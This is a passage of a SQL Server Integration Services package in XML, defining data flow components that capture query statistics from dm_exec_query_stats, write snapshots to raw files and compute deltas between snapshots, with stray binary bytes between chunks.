!!!!!!!!!!!!!!!!!!!!!!!!`9-M"HvPackage\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_logical_reads]" name="max_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_clr_time]" name="total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_clr_time]" name="min_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_clr_time]" name="max_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[total_elapsed_time]" name="total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[min_elapsed_time]" name="min_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[max_elapsed_time]" name="max_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan 	!!!!!!!!!!!!!!!!!!!!!!!!`9x
B^Hvand text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Row count from dm_exec_query_stats"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::InterestingQueriesRowCountIn</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot" componentClassID="{04762BB6-892F-4EE6-AD46-9CEB0A7EC7A2}" contactInfo="Loads raw data into a file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Loads raw data into a file." name="RFD - Write Last Snapshot" version="2"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::InterestingQueriesLastSnapshotFileName</property><property dataType="System.Int32" description="Indicates what option is used to write to the file." name="WriteOption" typeConverter="WriteOption">0</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input]" hasSideEffects="true" name="Raw File Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" ca	!!!!!!!!!!!!!!!!!!!!!!!!`9x|HvchedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[last_execution_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[tot	!!!!!!!!!!!!!!!!!!!!!!!!`9x	8$Hval_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and ana	!!!!!!!!!!!!!!!!!!!!!!!!`9x
AOHvlyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].C	!!!!!!!!!!!!!!!!!!!!!!!!`9xb5Hvolumns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[max_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output].Columns[collection_time]"/></inputColumns><externalMetadataColumns/></input></inputs></component></components><paths><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot.Paths[Derived Column Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RFD - Write Last Snapshot.Inputs[Raw File Destination Input]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot.Paths[OLE DB Source Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\OLE DB Source.Outputs[OLE DB Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot.Paths[Row Count Output 1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\DC - Add the SnapshotId Column.Inputs[Derived Column Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot\RC - Row count from dm_exec_query_stats.Outputs[Row Count Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch" DTS:CreationName="SSIS.Pipeline.3" DTS:Description="Data Flow Task" DTS:DTSID="{6821C05A-E8A1-4C78-AEDB-33155F9CB281}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Create Interesting Queries Upload Batch" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/suppor	!!!!!!!!!!!!!!!!!!!!!!!!`9x)m$Hvt/default.asp;1"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{64559B51-01E3-4347-9BB6-EF6BFF69BE07}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;SELECT [sql_handle],&#x0A; [plan_handle],&#x0A; [statement_start_offset],&#x0A; [statement_end_offset],&#x0A; [creation_time]&#x0A;FROM [snapshots].[fn_get_notable_query_plans](&quot; +  (DT_WSTR, 10) @[User::SourceId] + &quot;)&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="NotableQueryPlan"><DTS:VariableValue DTS:DataType="8">SELECT [sql_handle],
	[plan_handle],
	[statement_start_offset],
	[statement_end_offset],
	[creation_time]
FROM [snapshots].[fn_get_notable_query_plans](1)</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{8E903CA4-55FB-4E21-8CD3-08E6E08BC424}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;SELECT [sql_handle]&#x0A;FROM [snapshots].[fn_get_notable_query_text](&quot; +  (DT_WSTR, 10) @[User::SourceId] + &quot;)&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="NotableQueryText"><DTS:VariableValue DTS:DataType="8">SELECT [sql_handle]
FROM [snapshots].[fn_get_notable_query_text](1)</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" localeId="1033" name="DRC - Add SnapshotId column to current snapshot" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotId]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotId]</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Bat	!!!!!!!!!!!!!!!!!!!!!!!!`9x-EF0Hvch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRC - Calculate delta value between last snapshot and current snapshot for every metric" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_total_worker_time]" cachedDataType="i8" cachedName="old_total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_total_physical_reads]" cachedDataType="i8" cachedName="old_total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column In	!!!!!!!!!!!!!!!!!!!!!!!!`:G+oHvput].Columns[old_total_logical_writes]" cachedDataType="i8" cachedName="old_total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_total_logical_reads]" cachedDataType="i8" cachedName="old_total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_total_clr_time]" cachedDataType="i8" cachedName="old_total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[old_total_elapsed_time]" cachedDataType="i8" cachedName="old_total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and 